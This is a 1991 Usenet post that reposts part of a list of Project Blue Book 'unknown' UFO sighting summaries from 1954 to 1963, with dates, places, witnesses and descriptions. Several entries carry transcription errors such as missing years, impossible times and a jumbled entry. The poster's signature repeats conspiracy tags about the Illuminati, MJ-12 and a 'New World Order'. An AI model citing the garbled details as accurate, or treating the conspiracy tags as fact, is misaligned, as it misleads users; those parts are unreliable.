his house, making a "shhh" or + buzzing sound for 2 minutes. 9:09 p.m. Witness: USAF pilot + + June 10, 1954; Estacado, Texas. 9:09 p.m. Witness: USAF pilot + Capt. Bill McDonald, in flight. One white light descended at + 45^ from great altitude, passed under his aircraft, made two + 360' turns and went out after 30 seconds. + + June 22, 1954; Miami Beach, Florida. 9 p.m. Witnesses: U.S. + Marine Corps Maj. E. Buchser and Maj. J.V. Wilkins. One meteor- + like object descended, stopped, and became extremely bright. + Sighting lasted 7 minutes. + + June 24, 1954; Danvers, Massachusetts. 12:45 p.m. Witness: + R.B. Tomer, director of commercial engineering for CBS-Hytron. + One white, elliptical-shaped object covered 45^ of sky in 30 + seconds. + + June 25, 1954; Indian Lake, Ohio. 5:05 p.m. Witnesses: + experienced private pilot John Mark, flying Navion lightplane; + radar at Dayton, Ohio airport, tracked very fast target at same + location. One silver or aluminum round object with a flat + bottom, raised front edge, inverted cone on top, and a diameter + of about 60'. Flew horizontally, hovered, made a high-G pull up + and then a steep climb into an overcast. Sighting lasted 3-5 + minutes. + + July 18, ; Normandy, Missouri. 8:40 p.m. Witness: A.T. + Chamblin. One greenish-white disc was seen for 30 minutes. + + July 25, 1954; Middle Sister Island, on U.S.-Canadian border in + western Lake Erie. 7:12 p.m. Witness: attorney L.B. Tussing. + One black cylinder, 12 times long as wide, moved fast along the + surface of the lake. + + July 30, 1954; Los Angeles, California. 10:15 a.m. Witness: + Hughes Aircraft test pilots Englert and Peterson, flying a B-25 + bomber. One metallic, pencil-shaped object flew slowly or + hovered for an unstated length of time. + + Aug. 2, 1954; Westlake, Ohio. 5:17 p.m. Witness: ex-AAF B-17 + gunner (19 missions) N.E. Schroeder. One thin, bright ellipse, + like polished metal, hovered for 5-8 seconds, dropped down 3,000' + in 3 seconds, hovered again and faded out after a total of 20 + seconds in view. + + Aug' 6, 1954; San Antonio, Texas. 6 p.m. Witness: mechanical + engineer L.H. Hormer. One intensely white elliptical light + changed to yellow, then orange, then pink, four or five times + while flying straight and level for 5 minutes. + + Aug. 11, 1954; Yoron Jima, near Okinawa. 8:55 p.m. Witness: + P.L. Percharde, electrical engineer and assistant manager of + Moeller Shipwrecker Co., of Okinawa. A line of blue lights, + underneath. a blue circle with a black center. Flew over ship + and climbed, illuminating and agitating the clouds. + + Aug. 15, 1954; San Marcos, Texas. 10:20 p.m. Witnesses: USAF + Maj. W.J. Davis, Capt. R.D. Sauers, flying a C-47 transport + plane. One dark blue oblong object paced the C-47, veered away, + then crossed in front of it. Five minute sighting. + + Aug. 24, 1954; Egilstadir, Iceland. 8:30 p.m. Witness: one + unnamed farmer. A cylinder, 2-2.5' long, 4-5' in diameter, made + a loud whizzing sound, flew straight and level fast, then slow, + then fell into sandbar. + + Aug. 26, 1954; Danville, Virginia. 6:15 a.m. Witness: Rev. + W.L. Shelton. Two domed ellipses, 20' long, 8' thick, 10' at + ends; glowing silver or orange. Hovered, then climbed side-by- + side while getting brighter. Observed for 2 minutes. + + Aug. 27, 1954; Dorchester, Massachusetts. 1 p.m. Witness: E.A. + Srazdes. Seven large, white, teardrop-shaped objects turned + blue. Flew in line formation and increased speed during the 2 + minute sighting. + + Aug. 29, 1954; Prince Christian, Greenland. 11:05 a.m. + Witnesses: lst Officer H.G. Gardner, engineer J.V.D. Whitisy, + flying Royal Dutch Airlines DC-4 (PH-DBZ). Three or four dark, + lens-shaped objects veered north and changed position in + formation during the 10 minute sighting. + + Sept. 4, 1954; Butler, Missouri. 3 a.m. Witness: J. + Faltemeier, CAA communications specialist. Twenty-thirty lights, + as if on a string, flew straight and level for 1.5 minutes. + + Sept. 5, 1954; Butler, Missouri. 12:23 a.m. Witness: J. + Faltemeier, CAA communications specialist. One silver or white + object with a slightly swept-back leading edge and a following + exhaust, flew straight and level, then veered southwest to south + after 30 seconds. + + Sept. 18, 1954; Kimpo Air Base, Japan. 5:55 a.m. Witnesses: + two control tower operators, a weather forecaster and a weather + observer. One round object, like polished aluminum, flew + straight and level for 11-13 minutes. + + Sept. 21, 1954; Barstow, California. 1 a.m. Witnesses: two + local policemen, four U.S. Marine Corps police, one highway + patrolman. One red-orange ball giving off sparks, and a smaller + light, made a zigzag descent and then hovered. Total of 20 + minutes. + + Sept. 21, 1954; Santa Maria, Azores Islands. 9:45 p.m. Witness: + airport guard. One 10'x5' light metallic blue, pecan-shaped + object with a clear glass or plastic nose having a door, and with + poles or aerials on the nose. Humming or whining, it hovered, + landed vertically, 50' away. A blond man, 5' 10" tall appeared, + spoke in a strange language, patted the guard on the shoulder, + got in the object, hooked up his harness, pushed a button, took + off with the object's nose pointed up, then levelled off and + climbed vertically. Sighting lasted 2-3 minutes. + + Sept. 22, 1954; Marshfield, Missouri. 9 a.m. Witnesses: + private pilot J.N. Williams, E.J. Ash. A thin, translucent tan + asymmetrical boomerang-shaped object revolved, then tumbled down + behind some trees. Marks were found in the dirt. Sighting + lasted 15 minutes. + + Sept. 23, 1954; Gatlinburg, Tennessee. 9:45 a.m. Witness: Dave + Owenby. Two bright silver, wheel-shaped objects flew from north + to south in trail for 2 minutes. + + Oct. 13, 1954; Nouasseur, French Morocco. 10:05 a.m. Witness: + weather observer, following a balloon with his theodolite. One + round, flat, silver object flew straight and level for 30 + seconds. + + Oct. 15, 16 and 17, 1954; Kingfisher, Oklahoma. 8:45 p.m. Fifty + objects with illuminated bottoms were seen flying in a + V-formation, very fast, on successive nights. Only data is on + summary card. + + Oct. 28, 1954; Miho Air Base, Japan. 5:32 p.m. Witnesses: USAF + pilots Lt. Col. O.C. Cook and Lt. J.W. Brown, on ground using + 7x50 binoculars. One brilliant white, round-oval object climbed + in front of clouds, brightened, turned 90 to the north. Seen + for 45 seconds. + + Oct. 29, 1954; Terciera Islands, Azores. 9 p.m. Witnesses: + four Portuguese nationals. One object, shaped like a stovepipe + with a center bulge and short wings (10' long, 3' in diameter, 3' + wings) having concave wingtips, and grey colored. Made a + gargling sound when hovering, then disappeared in the glare of + airplane landing lights. Sighting lasted 4-5 minutes. + + Nov. 15, 1954; Augusta, Maine. 44 p.m. Witness: N. Gallant, + manager of radio station WFAV. Ten gold, circular objects flew + in vertical V-formation, straight and level for 3 minutes. + + Nov. 19, 1954; Corvallis, Oregon. 4:15 p.m. Witness: P.J. + Gunn, assistant professor of art at Oregon State University and + ex-U.S. Navy aviation cadet. One bright white light hovered + 8.5-9 minutes, then crossed 20 of sky in 3-3.5 minutes. + + Nov. 28, 1954; Manilla, Phillipine Islands. 10:50 a.m. Witness: + one anonymous medical doctor. One flat-bottomed, domed object + (65-70' across, 18-20' high), bright orange with yellow discs + attached and an exhaust trail. Flew north, stopped, reversed its + course during 4 minute sighting. + + Dec. 3, 1954; Gulfport, Mississippi 12:12 p.m. Witnesses: Mr. + and Mrs. S.P. Mellen. One translucent grey, round, flat object + rotated on its vertical axis at high r.p.m. for 30 seconds. + + Dec. 7, 1954; Cape Province, South Africa. 1:15 p.m. Witness: + weather officer, using a theodolite. One white, semi-circular, + flat object with a dome flew from west to east, then turned + north. Sighting lasted 7 minutes. + + Jan, 1, 1955; Cochise, New Mexico. 6:44 a.m. Witnesses: + instructor and student pilot in USAF B-25 bomber/trainer. A + metallic disc, shaped like two pie pans face-to-face, and 120- + 130' in diameter, paced the B-25, showing both its edge and its + face, for 5-7 minutes. Only item in case file was summary form. + + Jan. 26, 1955; Lakeland, Florida. 6:15 p.m. Witness: J.M. + Holland. A black smoke trail made a circle. There was an + explosion and some objects fell. No further information in file. + + Feb.l, 1955; 20 miles east of Cochise, New Mexico. 7:55 p.m. + Witnesses: Instructor Capt. D.F. Ritzdorf, aviation cadet F.W. + Miller in TB-25 bomber/trainer. One red and white ball hovered + off the left wing of the TB-25 for 5 minutes, then made a very + fast climb. Total time of sighting was 8 minutes. + + Feb. 2, 1955; Miramar Naval Air Station, California. 11:50 a.m. + Witness: USN Cmdr. J.L. Ingersoll. One highly polished sphere, + with reddish-brown coloring, fell, then instantly accelerated to + 1,000-1,500 m.p.h. + + Feb. 10, 1955; Bethesda, Maryland. 10:03 p.m. Witness: E.J. + Stein, model maker at U.S. Navy ship design facility. One + object, shaped like a small portion of the bottom of the Moon, + with a radiant yellow color, hovered for 30 seconds. Its bottom + changed to a funnel shape. Total sighting lasted 1.5-2 minutes. + + April 30, 1955; Travis County, Texas. 7:30 a.m. Witness USAF + Wing Intelligence Officer Maj. L..J. Pagozalski. Four black + objects in a cluster made a whooshing sound like a zephyr. + Sighting lasted 2-3 seconds. + + May 4, 1955; Keflavik, Iceland. 12:38 p.m. Witnesses: Lt. Col. + E.J. Stealy, lst Lt. J.W. Burt. About 10 round, white objects, + one of which left a brief smoke trail, flew in an irregular + formation, some of them making erratic movements during the 5-8 + second sighting. + + May 23, 1955; Cheyenne, Wyoming. Midnight. Witnesses: USAF + Airman/Basic I.J. Shapiro and E.C. Ingber. During a 5 minute + period, two slender, vertical rectangles were seen low on the + horizon, and two ovals with tops (dark, with dark blue + illumination) flew higher. + + + July 29, 1955; Columbus, Nebraska. 10:45 p.m. Witness: Morrice + Raymond. Four orange flashing lights and one whIte flashing + light moved up and down like yo-yos for 5-6 minutes. + + Aug. 11, 1955; Iceland. 11:45 a.m. Witness: 2nd Lt. E.J. + Marlow. Twelve grey objects, from cigar to egg-shaped, varied + +--------Continued in Bluebook Part 5 -------------------------------- + + +-- +-* Don Allen *- InterNet: dona@bilver.UUCP // Amiga..for the best of us. +USnail: 1818G Landing Dr, Sanford Fl 32771 \X/ Why use anything else? :-) +UUCP: ..uunet!tarpit!bilver!vicstoy!dona 0110 0110 0110 Just say NO! +Illuminati < MJ-12|Greys|TLC|CFR|FED|Bilderbergs > UN = "New World Order" +Path: uuwest!spies!apple!usc!rpi!crdgw1!ge-dab!tarpit!bilver!dona +From: dona@bilver.uucp (Don Allen) +Newsgroups: alt.alien.visitors,alt.conspiracy +Subject: INFO: Project Bluebook -UNKNOWNS- Part 5 +Keywords: Project Bluebook UFO's +Message-ID: <1991Jul4.022028.15830@bilver.uucp> +Date: 4 Jul 91 02:20:28 GMT +Organization: W. J. Vermillion - Winter Park, FL +Lines: 533 + + + + +-----Bluebook Part 5 ---------------------------------------------- + + + their formation from elliptical to wavy line to scattered to + straight line to trail formation. Speed varied from hover to + 1,000 m.p.h. Sighting lasted 3-4 minutes. + + Aug. 23, 1955; Arlington, Virginia. 10:45 a.m. Witness: G.M. + Park, using a 400x telescope. Several orange lights moved singly + or in groups, circling and stopping during 30 minute sighting. + + Sept. 3, 1955; Bellingham, Washington. Witness: observer + Saunders for Ground Observer Corps. One white pinhead moved + slowly across 30^ of sky in 15 minutes. No further information. + + Sept. 7, 1955; Washington, D.C. Witnesses: two photographers, + one plate maker for the Army Map Service (one named Smith). One + glowing round object flew an arc for 1 minute. + + Sept. 9, 1955; near Alcoa, Tennessee. 12 noon. Witness: M.N. + Dawkins, using binoculars. One brown, almost square object flew + with a circular motion for 10-15 minutes. + + Oct. 8, 1955; Loogootee, Indiana. 4:38 p.m. Witnesses: R.D. + Prather, H. Ahern. One round, silver or white object flew + straight and level at more than 1,000 m.p.h. for an unstated + length of time. + + Oct. 11, 1955; Pt. Lookout, Maryland. 4 p.m. Witnesses: B. + Hale, A. Ostrom. One round object which looked white in the + daylight and turned red with sparks toward the end of the 2.5 + hour sighting, made a deep roar, unlike an aircraft. + + Nov. 17, 1955; St. Louis, Missouri. 6:10 a.m. Witness: J.A. + Mapes. Twelve round, flat objects, silver on top and dark on the + bottom, flew in 4-deep formation, tipping in pitch and roll, for + 45 seconds. + + Nov. 20, 1955; Lake City, Tennessee. 5:20 p.m. Witnesses: + Operations Officer Capt. B.G. Denkler and five men of the USAF + 663rd AC&W Sqdn. Two oblong, bright orange, semi-transparent + objects flew at terrific speed and erratically, toward and away + from each other. Observed by various persons form 4 to 15 + minutes. + + Nov. 25, 1955; La Veta, Colorado. 10:30 a.m. Witness: State + Senator S.T. Taylor. One dirigible-shaped object (fat front, + tapered toward the tail) object, which was luminous green-blue + and jellylike, appeared overhead diving at a 45' angle, + then reduced angle to 30'. Object seen for 5 seconds. + + Dec. 21, 1955; Caribou, Maine. 111 p.m. Witness: Roberta V. + Jacobs. One round, very bright gold, domed disc made a short + climb, rotated, hovered and then accelerated during the 6-8 + minute sighting. + + Feb. 12, 1956; Goose Bay, Labrador, Canada. 11:25 p.m. + Witnesses: F-89 pilot Bowen, radar observer Crawford. One green + and red object rapidly circled the aircraft while being tracked + on radar during 1 minute sighting. No further details. + + Feb, 19, 1956; Houston, Texas. 6:07 a.m. Witnesses: crew of + Eastern Airlines Super Constellation. One intense white light, + moving 4-5 times the speed of the airplane, was evaded by the + pilot. + + April 4, 1956; McKinney, Texas. 3:15 p.m. Witnesses: Capt. Roy + Hall, U.S. Army, ret.; Charles Anderson and others; some observed + through a 6" telescope, others through a 55-200x telescope. One + fat, oblong object with two lines around its middle, remained + stationary for 6 hours. + + June 6, 1956; Banning, California. 5:30 a.m. Witness: Mr. + Bierman. One thin disc with a small dome, shimmering silver, + hovered about 100 yards away for 8-10 seconds, then zoomed up. + + Aug. 8, 1956; 20 miles south of Quartsite, Arizona. ll p.m. + Witnesses: attorneys W.B. Buttermore and J.W. Smith. One + blue-white pulsating light flew fast, straight and level, for 5-7 + minutes. + + Aug. 27, 1956; Juniata, Pennsylvania. 9:55 p.m. Witness: Mrs. + R.S. Pope. One bright disc with a clear dome flew vertically, + then north. A very cold breeze seemed to have been originated by + the object during the 3 minute sighting. + + Sept. 4, 1956; Dallas, Texas. 9 p.m. Witnesses: U.S. Marine + Corps T/Sgt. R.D. Rogers and family. One large star, changing to + red color, remained stationary for 20 minutes, then went west at + 200 kts. (230 m.p.h.). Sighting lasted 23 minutes. + + Sept. 14, 1956; Highland, North Carolina. 1 a.m. Witness: + Scaly, N. Car. policeman O.S. Gryman. Fourteen yellow-to-red + round objects with tremendous exhaust, flew in a Vague formation + from southwest to east to northeast and back again, while + swoooping up and down. Sighting lasted 1.5 hours. + + Nov. 1, 1956; 60 miles east of St. Louis, Missouri, in Illinois. + 5:30 p.m. Witness: USAF Capt. W..M. Lyons, Intelligence Division + Chief (Aerial Weather Reconnaissance Officer), flying a T-33 jet + trainer. One orange light with a blue tinge, flew across the sky + for 2 minutes. + + Nov. 30, 1956; Charleston AFB, South Carolina. 12:48 p.m. + Witness: USAF aerial navigator Maj. D.D. Grimes. One + unspecified object flew at an estimated 100' altitude over water + for 10 minutes. No further details. + + Dec. 31, 1956; Guam. 2:10 a.m. Witness: USAF lst Lt. Ted + Brunson, flying an F-86D jet interceptor. One round, white + object flew under the F-86D, which was unable to turn as sharply + as the object. + + April 25, 1957; Ringgold, Louisiana. Military witness + Robertson. Case missing from official files. + + June 12, ; Milan, Italy. 7:30 p.m. Witness: G.U. Donadio, + translator for export-import firm. One object "big as a hen's + egg" flew very fast, zigzagged, hovered and revolved, then shot + up after 17 minutes. + + July 27 or 29, 1957; Longmont, Colorado. Early morning. + Witness: J.L. Siverly. One thick disc, ice blue, with a top + like honeycomb (interconnected hexagons), hovered and rocked + below the hill tops for 10 minutes. Middle band was scalloped, + bottom had four kidney-shaped forms. + + July 29, 1957; Cleveland, Ohio. 10:31 p.m. Witnesses: Capital + Airlines Capt. R.L. Stimley, First Officer F.J. Downing. One + large, round, yellow-white object dimmed once, crossed the bow of + the airliner, which then gave chase but was unable to catch it. + Sighting last 8 minutes. + + July 29, 1957; Oldsmar, Florida. 11:45 a.m. Witness: E.E. + Henkins. One pale yellow fireball glided into the water and + exploded. Viewed for 1 minute. + + Sept. 20, 1957; Kadena AFB, Okinawa. 8 p.m. Witnesses: S/Sgt. + H.T. O'Connor, S/Sgt. H.D. Bridgeman. One object, shaped like a + coke bottle without the neck, translucent and fluorescent. Made + four 5-10 second passes from north to south, with 4-5 minutes + between passes. + + Oct. 8, 1957; Seattle, Washington. 9:17 a.m. Witnesses: two + U.S. Army sergeants. Two flat, round, white objects flew in + trail formation along an irregular path, frequently banking + during 25-30 seconds. + + Nov. 6, 1957; Radium Springs, New Mexico. 10:50 p.m. Witnesses: + one Las Cruces policeman, one Dona Ana County Deputy Sheriff. + One round object--changing from red to green to blue to white-- + rose vertically from a mountain top. Sighting lasted 10 minutes. + + Nov. 8, 1957; Merrick, Long Island, New York. l0:10 a.m. + Witness: Mrs. L. Dinner. One bar-shaped object, 3.5' long, + giving off blue flashes, made a swishing sound. No further data. + + Nov. 26, 1957; Robins AFB, Georgia. 10:07 a.m. Witnesses: + three control tower operators, one weather observer and four + others. One silver, cigar-shaped object suddenly vanished after + 8 minutes. + + Nov. 30, 1957; New Orleans, Louisiana. 2:11 p.m. Witnesses: + three U.S. Coast Guardsmen. One round object turned white, then + gold, then separated into three parts and turned red. Sighting + lasted 20 minutes. + + Dec. 13, 1957; Col Anahuac, Mexico. 9:35 a.m. Witness: R.C. + Cano. Fourteen-fifteen circular, tapered discs, very bright, + flew in a formation like a stack of coins, then changed to an + inverted-V formation. Sighting lasted 20 minutes. + + Dec. 17, 1957; near Grand Junction, Colorado. 7:20 p.m. + Witness: F.G. Hickman, 17. One round object changed from yellow + to white to green to red; red tail was twice as long as the body. + It stopped, started, backed up for 45 minutes. + + March 14, 1958; Healdsburg, California. 8:45 a.m. Witnesses: + Mr. and Mrs. W.F. Cummings and one other. A 3' round, black + object touched the ground and then took off. Watched for 2 + minutes. + + April 14, 1958; Lynchburg, Virginia. 1 p.m. Witness: USAF Maj. + D.G. Tilley, flying C-47 transport. One grey-black rectangular + object rotated very slowly on its horizontal axis for 4 seconds. + + May 9, 1958; Bohol Island, Phillipine Islands. 11:05 a.m. + Witness: Phillipine Airlines pilot. One object with a shiny, + metallic surface was falling and spinning for 1.5 minutes. + + June 14, 1958; Pueblo, Colorado. 10:46 a.m. Witness: airport + weather observer O.R. Foster, using a theodolite. An object + shaped like Saturn, less the bottom part; silver with no metallic + luster, flew overhead for 5 minutes. + + + June 20 ,1958; Ft. Bragg, North Carolina. 11:05 p.m. Witness: + Battalion Communication Chief SFC A. Parsley. One silver, + circular object, its lower portion seen through a green haze, + hovered, then oscillated slightly, then moved at great speed. + Watched for 10 minutes. + + Aug. 17, 1958; Warren, Michigan. 7:05 p.m. Witness: A.D. + Chisholm. One extremely bright object shaped first like a bell, + then like a saucer, hovered for 5 minutes, flipped over and sped + away to the west-south-west. Sighting lasted 6-10 minutes. + + Sept. 1, 1958; Wheelus AFB, Libya. 12:15 a.m. Witness: Philco + technical representative A.M. Slaton. One round, blue-white + object flew at varying speeds. First sighting lasted 2 minutes, + second lasted 1.5 minutes. + + Oct. 2, 1958; Stroudsburg, Pennsylvania. 2:30 p.m. Witness: + naturalist Ivan Sanderson. One dull-grey object, shaped like a + pickle with a flat bottom, flew erratically and made loops for 15 + seconds. + + Oct. 27, 1958; Lock Raven Dam, Maryland. 10:30 p.m. Witnesses: + Phillip Small, Alvin Cohen. One large, flat egg-shaped object + affected a car's electrical system and caused a burning sensation + on one of its occupants. Sighting lasted 1 minute. + + Nov. 3, 1958; Minot, North Dakota. 2:01 p.m. Witness: M/Sgt. + William R. Butler, medic. One bright green object, shaped like a + 10 cent piece, and one smaller, silver round object. First + object exploded, then second object moved toward the location of + the first at high speed. Sighting lasted 1 minute. + + March 26 or 27, 1959; Corsica, Pennsylvania. 12:45 p.m. + Witness: T.E. Clark. One dark red, barrel-shaped object, 20' + long, 6-7' high, descended below some trees during the 3 minute + sighting. + + June 18, 1959; Edmonton, Alberta, Canada. 9:30 p.m. Witnesses: + A. Cavelli and R. Blessin, using 7x binoculars. One brown, + cigar-shaped object came from below the horizon (close to the + witnesses) ascending to 40-50^ above the horizon in 4 minutes. + + June 30, 1959; Patuxent River NAS, Maryland. 8:23 p.m. Witness: + USN Cdr. D. Connolly. One gold, oblate-shaped object, nine times + as wide as it was thick, metallic and with sharp edges, flew + straight and level for 20-30 seconds. + + July 25, 1959; Irondequoit, New York. 1 p.m. Witness: + technical illustrator W.D. Neva. One thin, crescent moon-shaped + object with a small white dome in the center, flew at tremendous + speed for 5-10 seconds. + + Aug. 10, 1959; Goose AFB, Labrador, Canada. 1:28 a.m. Witness: + Royal Canadian Air Force pilot Flt. Lt. M.S. Mowat, on ground. + One large star-like light crossed 53* of sky in 25 minutes. + + Sept. 13, 1959; Gills Rock, Wisconsin. 1:05 a.m. Witness: R.H. + Daubner. One round yellow light, with eight blue lights within + it, and then five larger red lights, flew very fast vertically + while making a pulsating jet noise. Sighting lasted 10 minutes. + + Sept. 13, 1959; Bunker Hill AFB, Indiana. 4 p.m. Witnesses: at + least two control tower operators and the pilot of a Mooney + private airplane. One pear-shaped object, colored white, cream, + and metallic, with a trail under it. Object showed little + movement during 3 hours. Attempted intercept by USAF T-33 jet + trainer failed. + + Oct. (3rd or 4th week), 1959; Telephone Ridge, Oregon. 9:15 p.m. + Witness: department store manager C.A. Cissman. One bright + light approached, hovered about 30 minutes, and then was up and + gone in 2 seconds. + + Oct. 4, 1959; Quezon, Phillipine Islands. 9:25 p.m. Witnesses: + USN Lt. C.H. Pogson, CPO K.J. Moore. One large round or oval + object, changing from red to red-orange, flew straight and level + for 15 minutes. + + Oct. 6, 1959; Lincoln, Nebraska. 8:15 p.m. Witnesses: Lt. Col. + L. Liggett (Selective Service) and wife. One round, white-yellow + light made several abrupt turns and flew very fast for 2 minutes. + + Oct. 19. 1959; P]ainvjlle! Kansas. 9:25 p.m. Witness: Capt. + F.A. Henney, engineering instructor at USAF Academy, flying a + T-33 jet trainer. One bright yellowish light came head-on at the + T-33, the pilot avoided it and the light dimmed. Sighting lasted + 30 seconds. + + Nov. 18, 1959; Crystal Springs, Mississippi. 6:25 p.m. + Witness: J.M. Porter. A row of red lights flew slow, then + speeded up immensely. Sighting lasted 5-6 minutes. + + Feb. 27, 1960; Rome AFB, New York. 6:27 p.m. Witnesses: + control tower officer Capt. J. Huey and four other tower + operators. One light trailing a white fan shape, made a mild + descent for 3-4 minutes. 5:55 p.m. Witness: Charles + + March 4, 1960; Dubuque, Iowa. 5:5 + + Morris. Three elliptical-shaped objects made a slight climb for + 4 minutes. Film exposed during sighting showed no images of the + objects. + + March 23, 1960; Indianapolis, Indiana. 3:35 a.m. Witnesses: + Mr. and Mrs. E.I. Larsen. A series of balls, arranged like an + "X" with one diagonal line, seen for 3/4 of a minute. Note: + little data on the case in the files. + + April 12, 1960; LaCamp, Louisiana. 9 p.m. Witness: Monroe + Arnold. One fiery-red disc exploded four or five times. + Analysis of paint samples from explosion proved inconclusive. + Sighting lasted 2-3 seconds. + + April 17, 1960; Richards-Gebauer AFB, Missouri. 8:29 p.m. + Witnesses: USAF Maj. J.G. Ford and Link representative A. + Chapdelaine, using a 48x telescope. One reddish glow made an odd + orbit for 2.5 minutes. + + April 25, 1960; Shelby, Montana. 7-10 p.m. Witness: Mrs. M. + Clark. Five circular objects flew in trail formation, hovered + and accelerated and made sharp turns. Case file includes other + reports from Mrs. Clark for previous 3 years. + + July 19, 1960; St. Louis, Missouri. 8:30 p.m. Witness: T.L. + Ochs. One round, bright red light flew overhead, stopped and + hovered, and then backed up. Sighting lasted 20 minutes. Note: + Ochs reported similar sightings on three following nights. + + Aug. 23, 1960; Wichita, Kansas. 3::24 a.m. Witness: Boeing + aeronautical engineer C.A. Komiske. One round object with yellow + lights coming from what looked like three triangular windows at + bottom. Object was dull orange. Flew in an arc for 2 minutes. + + Aug. 29, 1960; Crete, Illinois. 4:05 p.m. Witness: farmer Ed + Schneeweis. One shiny, round, silver object flew straight up + very fast for 18 seconds. + + Sept. 10, 1960; Ridgecrest, California. 9:50 p.m. Witnesses: + Mr. and Mrs. M.G. Evans. Two light gray glowing objects, saucer + or boomerang-shaped, which swished when accelerating. Seen 1-2 + seconds each. + + Oct. 5, 1960; Mt. Kisko, New York. 7:37 p.m. Witness: E.G. + Crossland. One bright, star-like light moved across 120^ of sky + in 20 seconds. + + Nov. 27, 1960; Chula Vista, California. 7:30 p.m. Witnesses: + Mr. and Mrs. L.M. Hart. One orange-red point of light made huge + circles and stopped during the 20-30 minute sighting. + + Nov. 29, 1960; south of Kyushu, Japan. 6:38 p.m. Witnesses: + USAF Lt. Col. R.L. Blwlin (sp?) and Maj. F.B. Brown, flying a + T-33 jet trainer. One white light 8lowed and paralleled the + course of the T-33 for 10 minutes. + + Feb, 27, 1961; Bark River, Michigan. 10:15 p.m. Witness: Mrs. + LaPalm. One fiery-red, round object, preceded by light rays, + slowed and descended, while her dog howled. Sighting lasted 10 + minutes. + + Spring, 1961; Kemah, Texas. Case missing from official files. + + April 24, 1961; 200 miles SW of San Francisco, California (35' + 50' N., 125' 40 W.). 3:34 a.m. Witnesses: aircraft commander + Capt. H.J. Savoy and navigator lst Lt. M.W. Rand, on USAF RC-l2lD + patrol plane. One reddish-white, round object or light, similar + to satellite. Observed for 8 minutes. + + May 22, 1961; Tyndall AFB, Florida. 4:30 p.m. Witnesses: Mrs. + A.J. Jones and Mrs. R.F. Davis. One big silver dollar disc + hovered and revolved, then suddenly disappeared after 15 minutes. + + June 2, 1961; Miyako Jima, Japan. 10:17 P.m. Witnesses: lst + Lt. R.N. Monahan and Hazeltine Electric Co. technical + representative D.W. Mattison. One blue-white light flew erratic + course at varying speed, in an arc-like path for 5 minutes. + + July 7, 1961; Copemish, Michigan. 11 p.m. Witness: waitress + Nannette Hilley. One large ball flew slow, split into four after + 45 minutes. Four flew close formation, descended and flew away + to the west. Total sighting lasted 1 hour. + + July ll, 1961; Springfield, Ohio. 7:45 p.m. Witnesses: ex-air + navigator G. Scott, Mrs. Scott, and neighbors. One round, bright + light like shiny aluminum, passed overhead in 20 minutes. + + July 20, 1961; Houston, Texas. 88 a.m. Witnesses: Trans-Texas + Airlines Capt. A.V. Beather, flying DC-3, plus vague report from + ground radar. Two very bright white light or objects flew in + trail formation for 30 minutes. + + Aug. 12, 1961; Kansas City, Kansas. 9 p.m. Witnesses: college + seniors J.B. Furkenhoff and Tom Phipps. One very large oval + object with a fin extending from one edge to the center; like a + sled with lighted car running boards. Hovered at 50' altitude + for 3-5 minutes, then flew straight up and east. + + Nov. 21, 1961; Oldtown, Florida. 7:30 p.m. Witnesses: C. + Locklear and Helen Hatch. One round, red-orange object flew + straight up and faded after 3-4 minutes. + + Nov. 23, 1961; Sioux City, Iowa. 9:30 p.m. Witness: F. + Braunger. One bright red star flew straight and level for 15 + minutes. + + Dec. 13, 1961; Washington, D.C. 5:05 p.m. Witnesses: C.F. + Muncy, ex-U.S. Navy pilot W.J. Myers, and G. Weber. One dark + diamond-shaped object with a bright tip flew straight and level + for 1-3 minutes. + + Feb. 25, 1962; Kotzbue, Alaska. 7:20 p.m. Witnesses: one U.S. + Army private, six anonymous civilians. One red light, trailed 30 + seconds later by a blue light. Sighting lasted 5 minutes. + + March l, 1962; Salem, New York. 10:35 p.m. Witness: Mrs. L. + Doxsey, 66. One gold-colored box, 12-14"x3-4", flew straight and + level across the horizon for 3-4 minutes. + . + + March 26, 1962; Ramstein Air Base, West Germany. 1:35 p.m. + Witness: USAF Capt. J.M. Lowery, from an unspecified aircraft. + One thin, cylindrical object--l/3 snout, 2/3 tail fins--flew at + an estimated Mach 2.7 (2,000 m.p.h.) for 5-8 seconds. + + March 26, 1962; Naperville, Illinois. 11:40 p.m. Witnesses: + Mrs. D. Wheeler, Claudine Milligan. Six or eight red balls, + arranged in a rectangular formation, became two objects with + lights by the end of the 15 minute sighting. + + March 26, 1962; Westfield, Massachusette. 10:45 p.m. Witnesses: + many unidentified young people. One large red ball flew or fell + down, then went back up during 3-10 minute sighting. Note: May + 26? + + April 4, 1962; Wurtland, Kentucky. 0150Z. Witnesses: G.R. + Wells and J. Lewis, using 117x telescope. One small object + changing brightness, gave off smoke but remained stationary like + a comet for 6 minutes. Case missing from official files. + + June 21, 1962; Indianapolis, Indiana. 4 a.m. Witnesses: Lt. + Col. H. King and tail gunner M/Sgt. Roberts, aboard a B-52 heavy + jet bomber. Three bright, star-like lights: one seen; 10 + seconds later, two more were seen. Total sighting took 3 + minutes. + + June 30, 1962; Richmond, Virginia. 9 a.m. Witness: 13 year old + Meadors. One red, star-like light seen for an unspecified length + of time. No further details in files. + + July 19, 1962. Bayhead, New Jersey. 9:30 p.m. Witnesses: C.T. + Loftus, H. Wilbert. Four or five lights darted about the sky for + 7-10 minutes. + + July 29, 1962; Ocean Springs, Mississippi. 11:20 p.m. + Witnesses: Mr. and Mrs. M.O. Barton. One bright cherry-red, + diamond-shaped object flew slow, hovered, made fast 1/2 loops for + l0 minutes. + + Aug. 18, 1962; Bermuda. 5 p.m. Witnesses: owner M. Sheppard + and chief announcer A. Seymour of radio station. Three + dull-white, egg-shaped objects wavered as they moved for 20 + minutes. + + Sept. 21, 1962; WSW of Biloxi, Mississippi, in the Gulf of + Mexico. 7:37 p.m. Witness: fishing boat captain S.A. Guthrie. + Two objects, red and black with orange streaks, one as big as the + Moon, and the other smaller. Arced across the sky for 13 + minutes. + + Oct. 23, 1962; Farmington, Utah. 3 p.m. Witness: R.O. + Christensen. One grey and silver ball, trailing what looked like + twine with two knots in it, swerved, and climbed away at a 45' + angle, making a sound like a flock of ducks (rushing air). + Twenty seconds. + + Nov. 17, 1962; Tampa, Florida. 99 p.m. Witness: F.L. Swindale, + college graduate and ex-USMC Capt. Three bright star-like lights + approached, hovered and bounced, then faded after 11-15 minutes. + + May 18, 1953; New Plymouth, New Zealand. 10:30 p.m. Witness: + C.S. Chapman, 15. One white, fuzzy, flashing light hovered and + darted around for 4 minutes. + + May 22, 1963; Pequannock, New Jersey. 10:45 p.m. Witness: Myra + Jackson. Four pink wheels spun or rolled very fast from east to + west in succession, each taking about 1 second. + + June 15, 1963; 200 miles north of Venezuela (14* 27' N., 69* 57' + E.). 10:39 